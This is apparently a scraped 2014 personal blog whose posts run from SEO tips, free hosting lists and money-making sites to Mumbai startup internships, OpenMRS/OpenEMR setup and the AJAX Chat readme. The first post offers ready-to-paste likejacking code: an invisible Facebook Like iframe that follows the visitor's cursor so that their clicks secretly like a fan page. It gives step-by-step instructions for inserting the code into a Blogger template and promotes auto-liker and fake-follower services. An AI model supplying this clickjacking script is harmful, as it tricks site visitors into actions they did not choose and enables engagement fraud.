Saturday 26 April 2014

facebook fan page auto like full script with explanation


Paste this code anywhere in html in blog or wordpress


 <div style="overflow: hidden; width: 10px; height: 12px; position: absolute; filter:alpha(opacity=0); -moz-opacity:0.0; -khtml-opacity: 0.0; opacity: 0.0;" id="icontainer"> <iframe src="http://www.facebook.com/plugins/like.php?href=YOUR_URL[/COLOR]&amp;layout=standard&amp;show_faces=false&amp;width=450&amp;action=like&amp;font=tahoma&amp;colorscheme=light&amp;height=80" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:50px; height:23px;" allowTransparency="true" id="fbframe" name="fbframe"></iframe> <!--end facebook like frame code--> </div> <script> var iflag = 0; var icontainer = document.getElementById('icontainer'); var standardbody=(document.compatMode=="CSS1Compat")? document.documentElement : document.body //create reference to common "body" across doctypes function mouseFollower(e){ /* DO NOT EDIT THIS */ if (window.event) { // for IE icontainer.style.top = (window.event.y-5)+standardbody.scrollTop+'px'; icontainer.style.left = (window.event.x-5)+standardbody.scrollLeft+'px'; } else { icontainer.style.top = (e.pageY-5)+'px'; icontainer.style.left = (e.pageX-5)+'px'; } } document.onmousemove = function(e) { if (iflag == 0) {mouseFollower(e);} } </script>


Find "YOUR_URL" in Code(red colour)  and here put your URL Fanpage


DONE

 -------------------------------------------------------------------------------------
 --------------------------------------------------------------------------------------


  1. Now go to Blogger Dashboard > Template
  2. Download a copy of your template

    Click Here 

    <-To Know How To Take Backup Of Your Template 

  3. Click on Edit HTML
  4. Hit Proceed button
  5. Check Expand Widget Templates checkbox
  6. Find  Ctrl + F   below code in your template 
  </head>
7.Now paste the below Code above it.



 <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.5.2/jquery.min.js"
type="text/javascript">
</script>
<script type='text/javascript'>
function ClickJackFbHide(){
jQuery(&quot;div[id^=\&#39;clickjack-button-wrapper\&#39;]&quot;).hide();
}
function ClickJackFbShow(){
jQuery(&quot;div[id^=\&#39;clickjack-button-wrapper\&#39;]&quot;).show();
}
</script>


8.Now Search  for :- 
  </body>
9.And then  paste below code above it.


 <!--akxt000.blogspot.com/ Fan Page Autolike Script Starts -->
<div id="clickjack-button-wrapper-5" style="position: absolute; opacity: 0; filter: alpha(opacity =0); -ms-filter:'progid:DXImageTransform.Microsoft.Alpha(Opacity=0)';  margin-left: -50px; z-index: 100; width:27px; height:20px; overflow:hidden">
<!--<div class="clickjack-mask" style="position: absolute; top: 5px; left: 5px; z-index: 1000; height: 13px; width: 15px;"></div>-->
<iframe src="http://www.facebook.com/plugins/like.php?href=www.facebook.com/vpn000&amp;layout=button_count&amp;show_faces=false&amp;width=50&amp;action=like&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:45px; left:-19px; height:21px; z-index: 0; position: relative;" allowTransparency="true"></iframe>
   </div>
   <script type="text/javascript">
      jQuery( document ).ready( function() {
          $( "#clickjack-button-wrapper-5" ).parent().mousemove( function( e ) {
            jQuery( "#clickjack-button-wrapper-5" ).css( {
               top: e.pageY - 10,
               left: e.pageX + 30
            } );
         } );
                        clickjack_hider();
                        var clickjack_fb_timer = setTimeout("clickjack_hider()",5000);
      } );
                        function clickjack_hider(){
         jQuery("input").mouseout(function(){ClickJackFbShow();});
       
jQuery("a").mouseout(function(){ClickJackFbShow();});
         jQuery("button").mouseout(function(){ClickJackFbShow();});
         jQuery("textarea").mouseout(function(){ClickJackFbShow();});
         jQuery(".ratingblock").mouseout(function(){ClickJackFbShow();});      
jQuery("object").mouseout(function(){ClickJackFbShow();});
         jQuery("input").mouseover(function(){ClickJackFbHide();});
         jQuery("a").mouseover(function(){ClickJackFbHide();});
         jQuery("button").mouseover(function(){ClickJackFbHide();});
         jQuery("textarea").mouseover(function(){ClickJackFbHide();});
         jQuery(".ratingblock").mouseover(function(){ClickJackFbHide();});      
jQuery("object").mouseover(function(){ClickJackFbHide();});
        }
  </script>




 


10.Replace vpnaa With your Facebook Page's Username ...!
11. Save The Template


I am not sure about this script is working or not.

 -------------------------------------------------------------------------------------
 -------------------------------------------------------------------------------------
Autolike Facebook 2014

https://userscripts.org/ 

 This site provide all auto bot scripts.

Userscripts.org, home to thousands of free scripts that enhance the sites you already use.

 TRUSTED Facebook 100,999+ Followers in 24 hours

  ------------------------------------------------------------------------

http://mg-likers.com/ 

Mg Likers is one of the Best Facebook Auto Liker, Auto Commenter and Follower website. which is helps people to get likes, comments and Followers Get Likes automatically on your Facebook Satus by Facebook Auto Liker Get Likes on your Facebook Fan Page automatically by Facebook Auto Liker Get Comments on your Facebook Status Get Followers on your Facebook Profile Just follow MG-LIKERS.com and get likes, comments and followers
We are one of the best facebook auto like website, we give free auto likes on your status, photo, video or on custom post. Also we are 100% safe auto liker. We don't sell tokens like other websites or we don't post anything on your behalf on any wall, group or page.

--------------------------------------------------------------------------------------



 $1  hot clone social networking facebook like script at coin 1 services

www.coin1service.com hot-clone-social-networking-facebook-like-script-at-coin-1-service

 TAGS:- facebook like site script for website,Facebook Clone Script,FaceBook Like Script - Clone Scripts of Popular Websites,FaceBook Like Script,facebook like clone script,facebook clone script free download,facebook clone script nulled,facebook clone script 2015,facebook clone script and template,facebook clone script v3.15 supreme
pinterest,youtube,groupon clone script,Wall Script-The Social Network Clone Script.

$1 services,digital 1 stop,get 1 dollar deals, 1 dollar items.

Sunday 20 April 2014

8 Golden SEO Tips That Always Work

1. Google Authorship

Often people write about the debate surrounding this tag – is it or is it not helping with rankings? What is often missed is the very basic concept that an image by your result in the search engine increases your click-through rates.
Don't add this tag everywhere. Make sure it is only on well written, good content, but add it. Give your site that extra lift.
http://www.seocutts.com/internet/verify-authorship-blog-website/

Link your Google+ profile to the content that you create https://plus.google.com/authorship


2. Content

Google likes specific content, so keep topics clear and on point. Also make sure on average your content is over 600 words per page or you risk it being penalized as thin.

3. URLs

Make sure your site URLs are absolute and not relative in your code. They shouldn't be too long and contain multiple query parameters. If they need to be rewritten, you have rewritten them.

4. The Alt Attribute

Use this tag properly, but use it. It belongs on every image on your site (sometimes it will be empty).
In the case of linking an image, the alt attribute acts as though you added anchor text on a page. Don't stuff this though; we have seen this as part of penalty actions when that has been done.
Remember this is a tag for the blind. Treat it with respect.

5. Page Speed

Check your site on the Google Page Speed tool. Speed matters especially in mobile. Get your site score above an 85-90.

7. Robots.txt

Your robots.txt doesn't block your web page from being indexed, only crawled. If you want to block a page from being indexed, leave it off the robots.txt and add a noindex tag.

8. Penalties

If you try to recover your site and you fail the first time, get an expert to help you. Google penalties are tricky subjects. You may not know enough about penalty recovery to get your site out of penalty status.
The longer your site stays penalized, the harder it will be to recover your site. A site auditor will know what to look for and how to communicate with Google in order to get the best outcome.


best online without login keyword suggestion tool

http://www.wordtracker.com/

http://www.soovle.com/ 

http://www.wordstream.com/blog/ws/2013/09/18/best-keyword-research-tools 

READ OTHER SEO ARTICLE FROM THIS BLOG
thenewcreator.blogspot.in-seo-too

thenewcreator.blogspot.in-how-to-choose-most-used-keywords.html

http://thenewcreator.blogspot.in-free-seo-tool-rank-checker.html

Tuesday 15 April 2014

how to create mozilla add on ?

how to create mozilla add on by thehelp of  Add-on SDK.Add-on SDK is set of APIs bundled with a command line utility that allows you to develop add-ons with your own tool chain.
  • Choose your own code editor
  • Access your development files locally
  • Get greater control over SDK build steps
Download the Add-on SDK

 


Build your add-on

Once you're familiar with the extension development environment, it's time to start on your first add-on. Back in the day, this meant climbing up a hill in the snow to find a suitable template to copy for your add-on's install manifest. Fortunately, the Add-on Developer Hub (that's this!) introduces the snowmobile of extension packaging: the Add-on Packager!
Just follow the steps to enter your add-on's name, version number, supported applications, and other details, and it will make your extension package for download. Not only does it generate your install manifest, but you can select common interface elements like toolbars, sidebars, and context menus to make a working extension skeleton. We're practically writing your extension for you!

 


How to develop a Firefox extension

What Is Google App Engine?

Google App Engine is a Platform as a Service (PaaS) offering that lets you build and run applications on Google’s infrastructure. App Engine applications are easy to build, easy to maintain, and easy to scale as your traffic and data storage needs change. With App Engine, there are no servers for you to maintain. You simply upload your application and it’s ready to go.

The App Engine Supported Language

  • Java: Using App Engine’s Java runtime environment, you can build your application using standard Java technologies.
  • Python: App Engine features a fast Python interpreter and standard Python libraries.
  • PHP: App Engine uses Google's Cloud Platform services under the hood when you call standard PHP functions.
  • Go: App Engine features a Go runtime environment that runs natively compiled Go code.






To get started...

  1. Download the SDK.
  2. Sign up for an account.
  3. Read the getting started information for your language.
  4. Check out the rest of the App Engine documentation.

Friday 11 April 2014

free domain name registration and free web hosting 100 % working

For free web hosting



Interests Webhost Space Forced Ads Your Ads Upload Scripting Your URL Rating
Personal, Business Host-ed 1,000 MB No Allowed FTP, Browser, SiteCopy CGI, PHP, ASP.NET, SSI, FrontPage Extensions, Perl, Ruby Domain, Subdomain 125 Review
Personal, Business HelioHost 500 MB No Allowed FTP, Browser, SiteCopy CGI, PHP, ASP.NET, SSI, FrontPage Extensions, Perl, Python, Ruby Domain, Subdomain 125 Review









FOR MORE READ HERE free-domain-hosting


http://www.myblogpromo.com/2014/04/Best-5-Free-Hosting-Providers-For-WordPress.html

Hostinger (one year free, best and recommended)


I used to use free Web host quit often and there was nothing special. But when I came across hostinger I was shocked that there is such a host that makes you feel like you are using a paid host.
nn
As its not completely free hosting and is a part of promotion this offer is awesome. The disadvantages that I discussed above don’t apply to it. There is no redirect, no downtime and no ads at all. CPanel is awesome and quite better than other free hosting.
 
If you are starting a new blog I would recommend you to go for hostinger. For mediocre traffic it is perfect and you will not face any problem.

I have already posted the complete review of hostinger previously and you can check out the complete list of featured in that. 
  • Get a Free Web Hosting for One Year with Hostinger

Byethost

Free+Hosting
www.byethost.com/‎



Ofees

ofees
http://www.0fees.net/

100webspace

Capture

For free domain name  read here http://www.getfreedomain.name

Suffix:-   eu.org

How to register your domain @ eu.or
http://www.eu.org/



Suffix.eu.org
Editor's Rating3.79
User Rating(3.83 based on 6 votes)
Is Activeyes
Years in service18
Is GeoTargetableyes
Is Indexed in Googleyes
Is TLDno
Supports IDNyes
Free Domainsunlimited

The Top 10 Best Domain Deals


Thursday 3 April 2014

how to make money online without investment 100% working

1. Constant Content - A great platform to sell all that you have not been using. There are plenty of buyers on Constant Content who are always looking for the articles which best fits their requirement. All you need is to post your articles, use good keywords, and get the sale.

2. Article Sale - Article Sale is another website which works similar to Constant Content. Just create an account and sell your articles.


 3. Fiverr - Fiverr?? Really? You can create various gigs on your article niche and sell it on fiverr. There are thousands of buyers who would love to buy a relevant article at just $5. Though there are several other websites like fiverr which also provide the same service, but there is nothing effective than fiverr.

50 Best Websites To Earn Money Blogging And Writing - 50 Best Revenue Sharing Websites


There are  Revenue Sharing Websites for serious writers and bloggers.
 
 
Here are some of the most effective and 'the best' revenue sharing websites for you.
1. Squidoo : Squidoo is one of the best in its category with making the word 'lens' common for sharing your write ups or other stuffs. The best thing here is to promote what you have already written for some other website. You can create a lens with the link to your work and just post it. Squidoo will put the relevant ads matching to your content. People visiting your lens will be able to see those ads and whatever Squidoo makes from that, you will get your percentage via Paypal.
2. HubPages : Write whatever you wish to on HubPages, be it reviews, advice, opinions, information, anything. 
 
 
 

Best Websites To Sell Your Ebooks

 
1. Amazon's Kindle Direct Publishing : Signing in to this platform is easy. You can publish your ebook here and make it available to the thousands of readers. You can earn royalty of 70% for your ebooks.
2. Book Tango : If you feel that no one should get any brokerage in between, this is a best website for you. Book Tango gives you 100% royalty for your ebooks.
3. MyEbook : My Ebook will take 10% commission on every purchase. Signing up on the website is free and does not take more than 2 minutes.
 
4. Pay Hip : All you need is to upload your ebook and get it sold. You can get the payment instantly via Paypal. 



Wednesday 2 April 2014

internship in startup mumbai

Here is a list of ten awesome startups in Mumbai where you can intern and experience the craziness… And one more thing (we are not trying to pull of a Steve Jobs here), these will be PAID internships.

BEST SITE FOR INTERNSHIP http://www.internshala.com/



Moojic

You are at the perfect place, be it a coffee shop or your favourite restaurant or a bar. The food/drinks and the ambience is awesome but what about MUSIC? Even that is something that should be what you want it to be, right? Moojic helps you do just that. Read more about them here. Want to intern with this rocking team? Send a mail to info@moojic.com

Zepo.in

Zepo helps small businesses go Online Easily. They help hundreds of entrepreneurs every month. Join if you want to learn more about e-commerce & are passionate about being an entrepreneur one day. Their stipend is pretty awesome too and they have a couple of Business Development and Operations internship opportunities available. Mail to them at hello@zepo.in also check out Zepo Careers for more details.

Pricebaba

PriceBaba.com is a 500 Startups backed Shopping Search Engine In Mumbai. With over a million users a month, PriceBaba is challenging the way shopping research happens in India. They are providing internship opportunities to interns in our Mumbai office. They have internship opportunities available in Content & Marketing, Mobile Development (Android) and Web Development teams. If you are good at communication, passionate about internet and mobile technology, then Pricebaba is your place. Reach out to Prerna@Kratee.com if you are interested.

ManagementParadise.com

A kick-ass, energetic, modern and vibrant culture and you get the opportunity to work with some of the most influential people in their industry. ManagementParadise.com (MP) is one of the biggest online communities for Management students in India with a user base of almost 500,000  members strong and growing faster than ever before.  They have a grand edutech portfolio which consists of sites like managementparadise.com, bms.co.in, bmm.co.in, b-school.com and many more portals. Their initial 2 month internship is an unpaid one but they will provide you with an internship certificate. Based on your performance and company performance, they will convert their internship into a paid one. To be a part of their team, send your cv and cover letter to careers@managementparadise.com.

SutraHR

Sutra is one of the coolest places that someone can intern at! Their work atmosphere places an emphasis on learning and having fun (something that is ideal for an internship). If you are not content with the in-house hukkahs, you can lie down on funky beanbags and throw some darts. When work gets stressful, their employees play a quick game of basketball or Counter-Strike or sit on the special massage chair to relieve stress. And if you have entrepreneurial ambitions, you have to intern at Sutra, since they host some of the most amazing startup meetups in India. If interested, send your CVs to careers@sutrahr.com or call Namita on +91 9220 459 226 or (022) 4266 9487.

Flat.to

Well, we shouldn’t call ourselves awesome and boast but as it seems that we also have a few internship opportunities in Operations and Social Media (some virtual internships available too). We help college students find accommodation near their colleges, and are building some cool products around the same. If interested reach out to hr@flat.to

 internship in startup mumbai

www.hellointern.com 


Friday 28 March 2014

how cryptography works

how internet works



learn networking understanding Private & Public IP

Private IP Address

There are certain addresses in each class of IP address that are reserved for Private Networks. These addresses are called private addresses.

how to add clicksor ads to blogger


 how to add clicksor ads to blogger
http://www.myincomefromnet.com/2012/11/how-to-add-clicksor-ads-to-blogger.html





adult affiliate programsXXXWebTraffic.com is committed to providing adult advertisers with quality adult traffic targeted to their niches. Our contextual advertising technology will maximize your advertising dollar by only placing your advertisements on publisher site pages with relevant content to your products or services. Adult traffic, as we all know, is useless unless it is the traffic you need for your specific niche.
http://www.xxxwebtraffic.com/

Saturday 22 March 2014

how to use healthcare management system or software for hospital or clinic

how to create a health care system


DOWNLOAD OpenMRS

 OpenEMR Downloads

OpenEMR
OpenEMR

 

OpenEMR

What is OpenMRS?

As a response to these challenges, the Open Medical Record System (OpenMRS®) was created in 2004 as a open source medical record system platform for developing countries – a tide which rises all ships. OpenMRS is a multi-institution, non-profit collaborative a world-renowned leader in medical informatics research.

Steps Involved

  1. Install Firefox
  2. Install Java 6+ runtime environment <span style="color:#FF0000"> <em> (Note: Java must be installed before Apache Tomcat)</em> </span>
  3. Install Tomcat 5.5+
  4. Install MySQL 5+
  5. Deploy OpenMRS
  6. Go to http://localhost:8080/openmrs and follow the installation steps. <em>Please make sure that Tomcat and MySQL are running prior to using this address.</em>   

RUNNING THE STANDLONE APP
=========================

Windows
-------
Option 1: Double click the 'openmrs-standalone.jar' file in the expanded archive folder to launch OpenMRS.



Option 2: From the Windows command line, navigate to the expanded archive folder and run this command:
java -jar openmrs-standalone.jar


Mac OS X
--------

Option 1: Double click 'openmrs-standalone.jar' file in the expanded archive folder to launch OpenMRS.




Option 2: Launch Terminal.app or another command line tool and navigate to the root directory of the expanded archive file.
 Run this command:
java -jar openmrs-standalone.jar

Linux
-----

Option 1: Using a graphical shell such as KDE, GNOME, etc., open the folder that was created when extracting the ZIP file.

 
 
downloaded OpenMRS  Standalone version and was in the process of executing the .jar file. When in came to logging in, the manual states that, "Logging in By default, the initial username and password are as follows: 
 
Username: admin Password: Admin123"


 -----------------------------------------------------------------------------------------------------
OpenEMR is a Free and Open Source electronic health records and medical practice management application. It is ONC Complete Ambulatory EHR Certified and it features fully integrated electronic health records, practice management, scheduling, electronic billing, internationalization, free support, a vibrant community, and a whole lot more. It can run on Windows, Linux, Mac OS X, and many other platforms. Features supported are listed below:

- See more at: http://www.open-emr.org/wiki/index.php/OpenEMR_Features#sthash.Ug0rZdYI.dpuf
OpenEMR have more feature than OpenMRS.

OpenEMR is a Free and Open Source electronic health records and medical practice management application. It is ONC Complete Ambulatory EHR Certified and it features fully integrated electronic health records, practice management, scheduling, electronic billing, internationalization, free support, a vibrant community, and a whole lot more. It can run on Windows, Linux, Mac OS X, and many other platforms.




 


Main OpenEMR Demo
Login/Password
Multiple OpenEMR users are set up to demonstrate access controls. Login information for each user is listed in below table:
Username
Password
Description
admin
pass
Administrator
physician
physician
Physician(more access than clinician)
clinician
clinician
Clinician(less access than physician)
accountant
accountant
Accountant
receptionist
receptionist
Front desk receptionist
Main Demo Link
·         OpenEMR 4.1.2 Main Demo Link: http://demo.open-emr.org:2107/openemr/


Patient Portal Demo
Login/Password
Login information for patient portal is listed in below table:
Patient Username
Password
Phil1
phil
Susan2
susan
Patient Portal Link
 OpenEMR 4.1.2 Patient Portal Demo Link: http://demo.open-emr.org:2107/openemr/patients/





OpenEMR is a Free and Open Source electronic health records and medical practice management application. It is ONC Complete Ambulatory EHR Certified and it features fully integrated electronic health records, practice management, scheduling, electronic billing, internationalization, free support, a vibrant community, and a whole lot more. It can run on Windows, Linux, Mac OS X, and many other platforms. Features supported are listed below:

- See more at: http://www.open-emr.org/wiki/index.php/OpenEMR_Features#sthash.Ug0rZdYI.dpuf
OpenEMR is a Free and Open Source electronic health records and medical practice management application. It is ONC Complete Ambulatory EHR Certified and it features fully integrated electronic health records, practice management, scheduling, electronic billing, internationalization, free support, a vibrant community, and a whole lot more. It can run on Windows, Linux, Mac OS X, and many other platforms. Features supported are listed below:

- See more at: http://www.open-emr.org/wiki/index.php/OpenEMR_Features#sthash.Ug0rZdYI.dpuf

how to install ajax chat on website,forums like MYbb,phpBB

AJAX Chat
=========

This is the standalone version running without another web application.


AJAX stands for "Asynchronous JavaScript and XML".
The AJAX Chat clients (the user browsers) use JavaScript to query the web server for updates.
Instead of delivering a complete HTML page only updated data is send in XML format.
By using JavaScript the chat page can be updated without having to reload the whole page.




Requirements
============

Server-Side:

- PHP >= 4
- MySQL >= 4
- Ruby >= 1.8 (optional)


Client-Side:

- Enabled JavaScript
- Enabled Cookies
- Flash Plugin >= 9 (optional)




Installation
============

1. Configuration settings
----------------------

The primary configuration settings necessary for chat to function must be in the file lib/config.php
You will need to create this file. An example config file can be found in lib/config.php.example
Duplicate this file and save it as config.php once you have filled out at least the following four fields:

$config['dbConnection']['host'] = 'your_database_hostname';
$config['dbConnection']['user'] = 'your_database_username';
$config['dbConnection']['pass'] = 'your_database_password';
$config['dbConnection']['name'] = 'your_database_name';

In most cases, chat will function with only these fields filled out and you can proceed to step 2.


If your host does not use mysqli you will need to change the connection type field:
$config['dbConnection']['type'] = null;
If this is set to "null" it defaults to "mysqli" if existing, else to "mysql".


You can reference an existing database connection link or object by changing:
$config['dbConnection']['link'] = null;
If this is set to null, a new database connection is created.


2. Channel settings:
-----------------

Edit channels in lib/data/channels.php.

Each channel must have a unique id (the $channels array index) and a unique name.
Whitespace in the channel names will be converted to the underscore "_".


3. User settings:
--------------

Edit users in lib/data/users.php.

Each user must have a unique id (the $users array index) and a unique name.
The first user in the list (array index 0) is used for the guest user settings.
All guest users will have access to the channels set for this user and the user role AJAX_CHAT_GUEST.
Registered users can have the user roles AJAX_CHAT_USER, AJAX_CHAT_MODERATOR or AJAX_CHAT_ADMIN.
The list of channels a user has access to can be set for each user individually.
Whitespace in the user names will be converted to the underscore "_".


4. Upload to the server
--------------------

Upload the chat folder to your server somewhere under your document root:
e.g. http://example.org/path/to/chat/


5. Creation of database tables
---------------------------

Execute the provided installation script by visiting the following URL with your browser:
http://example.org/path/to/chat/install.php

Replace "http://example.org/path/to/chat/" with the real URL to your chat directory.


6. Delete the installation script
------------------------------

Delete the file install.php from the chat directory on your server.


Ready! Just place a link to the chat directory on your website.




Configuration files:
====================

AJAX Chat is fully customizable and contains two configuration files:

1. lib/config.php
--------------
This file contains the server side (PHP) settings.

2. js/config.js
------------
This file contains the client side (JavaScript) settings.

Each configuration option is explained with a comment prior to the setting assignment.




Customizing the layout:
=======================

The layout of AJAX Chat is fully customizable by using CSS (Cascaded Style Sheets).
AJAX Chat comes with a predefined set of styles. To add your own style, do the following:

1. Add a new CSS file (e.g. mystyle.css) by copying one of the existing styles from the CSS directory.

2. Edit your file (css/mystyle.css) and adjust the CSS settings to your liking.

3. Add the name of your style without file extension to the available styles in lib/config.php:

// Available styles:
$config['styleAvailable'] = array('mystyle','beige','black','grey');
// Default style:
$config['styleDefault'] = 'mystyle';

To further customize the layout you can adjust the template files in lib/template/.

Make sure you are creating valid XHTML, else you will produce errors in modern browsers.
This is due to the page content-type served as "application/xhtml+xml".
Using this content-type improves performance when manipulating the Document Object Model (DOM).

If for some reason you cannot create valid XHTML you can force a HTML content-type.
Just edit lib/config.php and set the following option:

$config['contentType'] = 'text/html';




Adjusting the language settings:
================================

AJAX Chat comes with two language file directories:

1. js/lang/
--------
This directory contains the language files used for the chat messages localization.
These are JavaScript files with the extension ".js".

2. lib/lang/
---------
This directory contains the language files used for the template output.
These are PHP files with the extension ".php".


For each language, you need a file in each of these directories, with the language code as file name.
The language code is used following the ISO 639 standards.

The files for the english (language code "en") localization are the following:

js/lang/en.js
lib/lang/en.php

To enable a language, you need to add the language code in lib/config.php:

$config['langAvailable'] = array('en');

For the language selection you also need to add the language name:

$config['langNames'] = array('en'=>'English');

To avoid errors, you should follow these rules:

1. Make sure you encode your localization files in UTF-8 (without Byte-order mark).
2. Don't use HTML entities in your localization files.
3. Don't remove any "%s" inside the JavaScript language files - these are filled with dynamic data.




Logs:
=====

By default, AJAX Chat stores all chat messages in the database.
To access the logs you have to add the GET parameter view=logs to your chat url:

e.g. http://example.org/path/to/chat/?view=logs

If you are not already logged in, you have to login as administrator to access the logs.

The log view enables you to monitor the latest chat messages on all channels.
It is also possible to view the logs of private rooms and private messages.
You have the option to filter the logs by date, time and search strings.

The search filter accepts MySQL style regular expressions:

http://dev.mysql.com/doc/refman/5.1/en/regexp.html

To search for IPs, use the following syntax:

ip=127.0.0.1




Shoutbox:
=========

AJAX Chat is also usable as shoutbox - this is a short guide on how to set it up:


1. Shoutbox stylesheet
-------------------

Add the following line to the stylesheet (CSS) of all pages displaying the shoutbox:

@import url("http://example.org/path/to/chat/css/shoutbox.css");

Replace http://example.org/path/to/chat/ with the URL to the chat.
Modify css/shoutbox.css to your liking.


2. Shoutbox function
-----------------

Add the following function to your PHP code:

<?php
function getShoutBoxContent() {
// URL to the chat directory:
if(!defined('AJAX_CHAT_URL')) {
define('AJAX_CHAT_URL', './chat/');
}

// Path to the chat directory:
if(!defined('AJAX_CHAT_PATH')) {
define('AJAX_CHAT_PATH', realpath(dirname($_SERVER['SCRIPT_FILENAME']).'/chat').'/');
}

// Validate the path to the chat:
if(@is_file(AJAX_CHAT_PATH.'lib/classes.php')) {

// Include Class libraries:
require_once(AJAX_CHAT_PATH.'lib/classes.php');

// Initialize the shoutbox:
$ajaxChat = new CustomAJAXChatShoutBox();

// Parse and return the shoutbox template content:
return $ajaxChat->getShoutBoxContent();
}

return null;
}
?>

Make sure AJAX_CHAT_URL and AJAX_CHAT_PATH point to the chat directory.


3. Shoutbox output
---------------

Display the shoutbox content using the shoutbox function:

<div style="width:200px;"><?php echo getShoutBoxContent(); ?></div>




Socket Server:
==============

Using the AJAX technology alone the chat clients have to permanently pull updates from the server.
This is due to AJAX being a web technology and HTTP being a stateless protocol.
Events pushed from server-side need a permanent or long-lasting socket connection between clients and server.
This requires either a custom HTTP server (called "comet") or another custom socket server.

AJAX Chat uses a JavaScript-to-Flash bridge to establish a permanent socket connection from client side.
The JavaScript-to-Flash bridge requires a Flash plugin >= 9 installed on the user browser.
Clients without this requirement will fall back to pull the server for updates.


1. Installation
---------------

The socket server coming with AJAX Chat is implemented in Ruby.
You need to be able to run a Ruby script as a service to run the socket server.
To be able to start the service, the script files in the socket/ directory have to be executable:

$ chmod +x server
$ chmod +x server.rb

"server" is a simple bash script to start and stop a service.
"server.rb" is the ruby socket server script.
"server.conf" is a configuration file - each setting is explained with a comment.

To start the service, execute the "server" script with the parameter "start":

$ ./server start

This will create two additional files:

"server.pid" contains the process id of the service.
"server.log" is filled with the socket server log.

To monitor the socket server logs, you can use the "tail" command included in most GNU/Linux distributions:

$ tail -f server.log

By default only errors and start/stop of the server are logged.
To get more detailed logs configure the log level by editing the configuration file.

To stop the service, execute the "server" script with the parameter "stop":

$ ./server stop

If the socket server is running, you have to enable the following option in lib/config.php:

$config['socketServerEnabled'] = true;

This tells the server-side chat script to broadcast chat messages via the socket server.
Chat clients will establish a permanent connection to the socket server to listen for chat messages.

By default only local clients (127.0.0.1,::1) may broadcast messages.
Clients allowed to broadcast messages may also handle the channel authentication.
If your socket server is running on another host you should set the broadcast_clients option to the chat server IP.

Using the socket server increases response time while improving server performance at the same time.


2. Flash Permissions
--------------------

Since Flash 9.0.115.0 and all Flash 10 versions, permissions for creating sockets using Flash have changed.
Now an explicit permission (using xml-syntax) is required for creating socket connections.
In the current state, socket server won't work with the newest Flash versions.
You will get a "Flash security error" in the browser.

A solution is to use a policy-files server which will listen to connections in port 843 in the server.
Each time a client tries to connect to the chat, the Flash client will request the policy authorization to the server.
The policy-files server is downloadable from http://ammonlauritzen.com/FlashPolicyService-09b.zip
It works with FF3 and IE7 (not yet tested in other browsers).

A more detailed explanation can be found here:

* http://ammonlauritzen.com/blog/2007/12/13/new-flash-security-policies/
* http://ammonlauritzen.com/blog/2008/04/22/flash-policy-service-daemon/




how to install ajax chat on website